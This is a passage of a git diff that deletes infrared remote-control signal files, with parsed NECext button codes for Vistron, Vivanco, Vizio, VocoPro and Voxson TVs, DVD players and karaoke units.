-protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: L/R -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 41 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 42 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 46 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 47 00 00 00 -# -name: N/P -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4B 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4F 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vistron/Unknown_LTM-3271E/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vistron/Unknown_LTM-3271E/8,-1.ir deleted file mode 100644 index 391254cce..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vistron/Unknown_LTM-3271E/8,-1.ir +++ /dev/null @@ -1,302 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 09 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0A 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0C 00 00 00 -# -name: DVB-Menu -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0D 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 12 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 13 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 14 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 15 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 16 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 17 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 18 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 19 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1A 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1B 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1C 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1D 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1E 00 00 00 -# -name: Index -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1F 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 40 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 41 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 42 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 43 00 00 00 -# -name: S.M -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 44 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 45 00 00 00 -# -name: Freeze -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 46 00 00 00 -# -name: Nicam -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 47 00 00 00 -# -name: P.M -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 48 00 00 00 -# -name: Size -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 49 00 00 00 -# -name: Mix -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4A 00 00 00 -# -name: Hold -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4B 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4C 00 00 00 -# -name: Reveal -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4D 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4E 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 53 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 54 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 55 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vivanco/Unknown_DVD/26,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vivanco/Unknown_DVD/26,73.ir deleted file mode 100644 index c90033405..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vivanco/Unknown_DVD/26,73.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 09 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0B 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0B 00 00 00 -# -name: SPLIT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0B 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0E 00 00 00 -# -name: EMPTY -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0F 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0F 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0F 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 15 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 1B 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 1B 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 30 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 32 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 33 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 34 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 38 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 39 00 00 00 -# -name: A.B -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 53 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 54 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 79 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7A 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7B 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vivanco/Unknown_UR2/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vivanco/Unknown_UR2/10,-1.ir deleted file mode 100644 index 53f0b74b8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vivanco/Unknown_UR2/10,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0C 00 00 00 -# -name: ab -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 28 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 28 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 46 00 00 00 -# -name: menu2 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 4F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 50 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 51 00 00 00 -# -name: menu3 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 52 00 00 00 -# -name: menu1 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 53 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 55 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 56 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 57 00 00 00 -# -name: menu4 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 61 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vivanco/Unknown_ur89/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vivanco/Unknown_ur89/0,-1.ir deleted file mode 100644 index 64717e727..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vivanco/Unknown_ur89/0,-1.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: STDBY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: WIDE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: KEY_HELP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: FRW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: TVVCR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: TELETXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: SCR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vizio/Unknown_VX37L/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vizio/Unknown_VX37L/4,-1.ir deleted file mode 100644 index d782c95c7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vizio/Unknown_VX37L/4,-1.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: chdn -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: mts -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0A 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0E 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1B 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1C 00 00 00 -# -name: input -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2F 00 00 00 -# -name: cc -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 39 00 00 00 -# -name: KEY_ZOOMIN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 40 00 00 00 -# -name: KEY_ZOOMOUT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 41 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 43 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 44 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 45 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 46 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 47 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 48 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 49 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 51 00 00 00 -# -name: component -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: pip -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 60 00 00 00 -# -name: pipsize -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 61 00 00 00 -# -name: pipinput -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 62 00 00 00 -# -name: pipch- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 63 00 00 00 -# -name: pipch+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 64 00 00 00 -# -name: freeze -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 65 00 00 00 -# -name: swap -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 66 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 67 00 00 00 -# -name: wide -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 77 00 00 00 -# -name: rgb -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 98 00 00 00 -# -name: hdmi -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C6 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D6 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vizio/Unknown_Vizio/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vizio/Unknown_Vizio/4,-1.ir deleted file mode 100644 index c882b5743..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vizio/Unknown_Vizio/4,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: CH_DWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: VOL_DWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1C 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2F 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 43 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 45 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 46 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 47 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 48 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 51 00 00 00 -# -name: COMP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: HDMI -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C6 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D6 00 00 00 -# -name: DASH -type: parsed -protocol: NECext -address: 04 00 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/VocoPro/Karaoke/32,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/VocoPro/Karaoke/32,1.ir deleted file mode 100644 index a3acb4924..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/VocoPro/Karaoke/32,1.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 20 01 00 00 -command: 02 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 20 01 00 00 -command: 03 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 20 01 00 00 -command: 04 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 20 01 00 00 -command: 05 00 00 00 -# -name: PLAY/PAUSE -type: parsed -protocol: NECext -address: 20 01 00 00 -command: 06 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 20 01 00 00 -command: 07 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 20 01 00 00 -command: 08 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 20 01 00 00 -command: 0C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Voxson/Unknown_PT2222-1/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Voxson/Unknown_PT2222-1/0,-1.ir deleted file mode 100644 index 9405f82c4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Voxson/Unknown_PT2222-1/0,-1.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 80 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 81 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 82 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 83 00 00 00 -# -name: TitleMenu -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 84 00 00 00 -# -name: KeyLock -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 85 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 86 00 00 00 -# -name: PBC -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 87 